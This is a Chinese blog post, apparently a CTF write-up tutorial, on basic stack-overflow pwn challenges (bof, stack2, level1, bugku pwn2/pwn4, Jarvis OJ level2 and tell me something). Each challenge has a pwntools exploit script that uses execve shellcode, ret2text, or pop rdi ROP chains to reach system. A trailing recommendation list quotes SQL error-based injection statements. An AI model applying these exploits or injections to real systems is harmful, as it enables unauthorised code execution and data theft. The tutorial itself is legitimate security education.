CTF中的PWN——无安全防护(栈溢出)_ctf bof pwn-程序员宅基地

技术标签: PWN  

前言

    今天心情不错,人最大的敌人真的就是自己!!!

    好久没学PWN和逆向了,今天写一篇关于CTF中PWN的文章回忆一下。本文主要讲的是利用栈溢出的基础PWN,分别有使用shellcode类型、满足函数条件类型及使用软件自带system函数类型,其中自带system函数的类型软件因为传参方式不同进而分为32bit与64bit的软件。

 满足函数条件类型

    很low的命名~///这种类型就是通过栈溢出使函数栈内满足某种条件则执行自带的system函数的类型,下面是此类型题目的例子:

    题目:bof

    放入IDA中查看:

    可以看到存在get()危险函数,可接收任意长度的输入并存到变量s的地址&s中。当变量a1等于 0xcafebabe即可,可以看到字符s距离ebp为0x2c,则距离形参a1为0x2c+0x8=52u。则payload如下:

from pwn import *

p = process('./bof')

payload = 52 * 'A' + p32(0xcafebabe)

p.recvuntil('overflow me :')
p.sendline(payload)
p.interactive()

运行结果如下:

使用shellcode类型

    32bit程序传参方式是将参数从右到左依次入栈,同时构造call指令时需要伪造PUSH EIP指令。

    题目一:stack2

    首先用file命令看一下文件为32位的elf文件:

    其次使用checksec查看软件的防护措施:

    没有防护,拖入IDA分析,可以看到危险函数strcpy():

    &dest的EIP偏移量为0x14 + 0x4 = 24u,使用gdb打开程序,查找函数栈中call esp或jmp esp的地址以便call esp到我们的shellcode起始地址上:

    选择call esp地址为0x08048577,payload如下:

from pwn import *

p = process('./stack2')

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

callesp = 0x08048577

payload = 24 * 'A' + p32(callesp) + shellcode

p.recvuntil('please input password:')
p.sendline(payload)
p.interactive()

    脚本运行如下:

    题目二:stack2

    注意:使用shellcode类型的有两种溢出方式,第一种是将shellcode溢出到溢出点函数栈外面,第二种是溢出在溢出点函数栈内部,但是由于每次加载地址都会变,所以可能十次溢出只能成功两次。

    将程序拖入IDA中查看,存在危险函数,但是首先程序中无system函数及/bin/sh或cat flag等敏感参数,其次在gdb中使用ropsearch "call esp"不管用,,,同时每次程序的溢出点地址都暴露出来了:

    通过程序泄露出的溢出点的地址,可以保证每次都能将shellcode的起始地址溢出到返回地址以执行,payload如下:

from pwn import *

p = process('./level1')

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

recv = p.recv(23)
buf_addr = recv[14:-1]
payload = shellcode + 'A' * (140 - len(shellcode))  + p32(int(buf_addr,16))

p.sendline(payload)
p.interactive()

     脚本运行结果如下:

 

自带system函数类型

64bit:

    题目一:bugku_pwn2

    首先查看文件类型为64bit且无防护措施:

    拖入IDA64中发现了read()危险函数,可以通过此函数进行栈溢出操作:

    同时发现有getshell函数:

   思路一:思路为溢出函数地址到EIP即可 ,而溢出点到EIP返回地址的偏移量为0x30 + 0x8 = 56u此处可以写getshell的地址,也可以写system的地址,不过首地址要写压入参数的指令的地址。下图分别为getshell函数地址与system('cat flag')的地址:

 

     注意:如果使用call system(‘cat flag’)执行的话,必须要在0x400769 将cat flag压入rdi中的edi中进行传参,如果直接40076E是无参数的。同时指令是按顺序执行的,也就是执行完mov edi, 'cat flag'后会继续执行 call _system。 

    下面的payload中以getshell函数的地址为例: 

from pwn import *

p = process('./pwn2')

system_addr = 0x400751
payload = 'A' * 56 + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()

    运行后执行了cat flag:

     思路二:另一种做法是自己给system函数添加参数,由于64位程序前七个参数从左到右一次使用寄存器传参,首先需要找到指令pop rdi指令进行参数的调整:

需要将pop rdi + p64(& cat flag) + system()溢出到返回地址上,则payload如下:

from pwn import *

p = process('./pwn2')

system_addr = 0x40076E
arg_addr = 0x400857
pop_rdi = 0x4007e3

payload = 'A' * 56 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()

    运行如下: 

 题目二:bugku_pwn4

    放入IDA64中查看,发现read()危险函数:

    查看函数发现system()函数,其他函数没啥意义,查一下字符串:

    发现”$0“,注意,$0相当于bin/sh。也就是system('$0') == system('bin/sh') 。那么做题思路就是给system函数中传入$0参数即可。使用ROPgadget --binary "pwn4" --string ’\$0‘来查看字符串$0的地址:

     查找pop rdi的地址位0x4007d3。溢出点距返回地址位0x10 + 0x8 = 24u

    payload如下:

from pwn import *

p = process('./pwn4')

pop_rdi = 0x4007d3
arg_addr = 0x60111f
system_addr = 0x40075A

payload = 'A' * 24 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('Come on,try to pwn me')
p.sendline(payload)
p.interactive()

    运行如下:

 题目三:Jarvis OJ_tell me something

    拖入IDA64中查看发现有危险函数get()与函数goodgame(),只需要将goodgame函数地址溢出到返回地址执行即可,写payload后怎么都无法执行,后来看了一下汇编,发现有一个坑,正常call 函数都是push rbp  mov rbp,rsp  sub rsp xxx。

但是这个程序没有进行push rbp:(注:此处直接rsp减 88h,距离rip直接为88h。反汇编使用rbp - 88h表示,尽管没有push rbp!!!)

    所以溢出点距离返回值的偏移不用再加0x8即可,payload如下:

 

from pwn import *

p = remote('pwn.jarvisoj.com',9876)

system = 0x400620

payload = 'A' * 136 + p64(system)

p.recvuntil('Input your message:')
p.sendline(payload)
p.interactive()

     运行如下:

32bit:

题目一:Jarvis OJ_level2

    拖入IDA查看发现危险函数read(),查找字符串/bin/sh的地址及system函数的地址。由于程序时32bit的,所以传参的时候需要伪造EIP返回地址才能执行system函数,payload构造姿势是:溢出到返回地址 + call system + 伪造EIP(‘aaaa’) + arg。

payload构造如下:

from pwn import *

p = process('./level2')

sys_addr = 0x8048320
arg_addr = 0x804A024

payload = 'A' * 140 + p32(sys_addr) + 'nEIP' + p32(arg_addr)

p.recvuntil('Input:')
p.sendline(payload)
p.interactive()

    脚本执行如下:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39194641/article/details/100940740

智能推荐

【ThinkPHP】修改伪静态后缀名_thinkphp 添加伪静态后 请求后缀怎么设为php-程序员宅基地

文章浏览阅读1.5k次。伪静态让url看起来好看.还有ThinkPHP的路由功能,视频说是对seo有优化如图:在项目里面的Conf/config.php里面写$arr=array('URL_HTML_SUFFIX' => '.html'//'URL_HTML_SUFFIX' => '你想要的后续名')return $arr;_thinkphp 添加伪静态后 请求后缀怎么设为php

SQL报错注入的12个函数及sql注入语句-程序员宅基地

文章浏览阅读1.2k次。转来的 侵删1、通过floor报错,注入语句如下: andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);2、通过ExtractValue报错,注入语句如下:andextractva..._报错注入 十二个函数

ubuntu18.04安装微信——简单操作版本_ubuntu 18.04.6 lts安装微信-程序员宅基地

文章浏览阅读1.9k次。ubuntu+windows双系统尴尬之处:工作在ubuntu,可通讯软件却在windows,ubuntu就像是与世隔绝1.新建install.sh文件sudo gedit install.sh将以下代码复制到打开的install.sh文件中#!/bin/bashmkdir ./deepintempcd ./deepintempwget http://packages.deepin.com/deepin/pool/non-free/d/deepin-wine/deepin-wi_ubuntu 18.04.6 lts安装微信

Android Studio中查看和修改Android工程的编译jdk版本_androidstudio怎么看jdk版本-程序员宅基地

文章浏览阅读1w次,点赞3次,收藏8次。Android Studio中查看和修改Android工程的编译jdk版本的方法可能并不固定,因为随着Android Studio的版本更新,其菜单位置经常发生变化。本文以macOS下Arctic Fox | 2020.3.1 Patch 1版本为例进行说明:File->Project Structure...->SDK Location->Gradle Settings->Gradle JDK。可以从这里查看当前的jdk版本,也可以从下拉列表中选择其他jdk版本。..._androidstudio怎么看jdk版本

【精心挑选】推荐几款非常棒的 jQuery 全景图片展示插件-程序员宅基地

文章浏览阅读47次。  之前的文章向大家分享了实现网站功能的各种插件,今天这篇文章向大家推荐7款精心挑选的 jQuery全景图片展示插件,同时还有非常详细的制作教程可以参考。全景图片展示是一种非常有趣的技术,通过把多张图片合并在一起让你可以360度浏览。这种效果常用于旅游网站或者酒店网站,用于展示风景或者房间的内景。您可能还喜欢精心挑选的美轮美奂的 jQuery 图片特效插件精心挑选的优秀jQu..._jq全景图

【论文翻译】Learning Generalizable and Identity-Discriminative Representations for Face Anti-Spoofing_learning causal representations for generalizable -程序员宅基地

文章浏览阅读2.9k次。Abstract 由于人脸认证系统的高安全性需求,面部反欺骗(a.k.a演示攻击检测)已引起越来越多的关注。当训练和测试欺骗样本拥有相似的模式时,现有的基于CNN的方法通常很好地识别欺骗攻击,但它们的性能会在未知场景的测试欺骗攻击上急剧下降。在本文中,我们试图通过设计两个新颖性的CNN模型来提高方法的泛化能力和适用性。首先,我们针对CNN模型提出了一种简单但有效的总成对混淆(TPC)损失函数,..._learning causal representations for generalizable face anti spoofing

随便推点

写prime函数判断一个数是否是素数(C语言 + 详细注释)-程序员宅基地

文章浏览阅读2.3w次,点赞16次,收藏43次。int prime( int p ){ if(p <= 3) //或者if (p <= 1) return 0; return p > 1; int i; for(i = 2; i * i <= p; i++) // i只需要遍历到根号p以节省时间,且等号不能少,否则像4,9等数就会判断错误 ..._prime函数

一篇文章带你搞定SpringBoot不重启项目实现修改静态资源_java 静态属性怎么用后面改了配置文件的值,不重启服务-程序员宅基地

文章浏览阅读1.3k次。学习了:SpringBoot 的热部署了解了通过热部署可以快速实现类加载,但是对于静态资源变化,并不会触发项目重启。本篇文章主要解决静态资源的访问问题。文章目录一、通过配置文件控制静态资源的热部署二、通过 LiveReload 插件控制静态文件的热部署一、通过配置文件控制静态资源的热部署在配置文件 application.properties 中添加:#表示从这个默认不触发重启的目录中除去static目录spring.devtools.restart.exclude=classpath:/st_java 静态属性怎么用后面改了配置文件的值,不重启服务

自学 6 个月 Java 找到了一份 15K 的工作,师弟的方式值得推荐给大家_自学java找谁-程序员宅基地

文章浏览阅读7.1w次,点赞947次,收藏4.4k次。我有一个大学校友,他是去年 8 月份才开始正式学习 Java 的,之前在一家私企工作了 5 年,工资一个月只有不到 6000 块,日子过得很苦逼,毕竟郑州的房贷压力也不小,公司就那么大,除非领导离职,否则根本看不到晋升的希望。他刚 26 岁,正值青春年华,我就劝他不如改学 Java,他之前学 PHP 的,虽然做起来项目很快,但发展前景确实不怎么乐观。我身边的很多朋友在北京做 Java 开发,差不多能拿到 2 到 3 万的月薪,师弟听了非常羡慕,感觉超出了他的认知范围,就下定决心开始学习 Java,一共学了大_自学java找谁

PLC之六部十层电梯整体框架-程序员宅基地

文章浏览阅读6k次,点赞7次,收藏58次。1.基本框架此图基于西门子杯逻辑控制赛项中电梯题目的变量表以及功能设计1.I/O输入是指变量表中的input数字量,包括电梯所有的内呼按钮、外呼按钮、电梯平层开关等2.逻辑处理是指根据相对应的输入设计整体系统的运行以及算法调度3.执行是指根据逻辑处理层的相关算法设计设计系统主要模块4.dispaly是指电梯运行系统的相关监控,包括轿厢所在楼层、待处理信号等主要部分如下..._六部十层电梯程序设计思路

HarmonyOS(鸿蒙)开发一文入门,kotlin环境配置-程序员宅基地

文章浏览阅读414次,点赞3次,收藏10次。才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

Excel中的宏、VBA_vba宏-程序员宅基地

文章浏览阅读1.7k次。宏通过使我们执行的大多数日常工作自动化来简化我们的工作生活。Excel 中的宏由 Visual Basic for Applications 驱动。Step 2)单击自定义功能区将复选框标记为开发人员选项点击确定按钮Step 2)单击自定义功能区将复选框标记为开发人员选项点击确定按钮Step 3)Step 3)Step 4)在驱动器 C 中创建一个名为 Bank Receipts 的文件夹粘贴您下载的 receives.csv 文件Step 4)Step 5)单击开发人员选项卡。_vba宏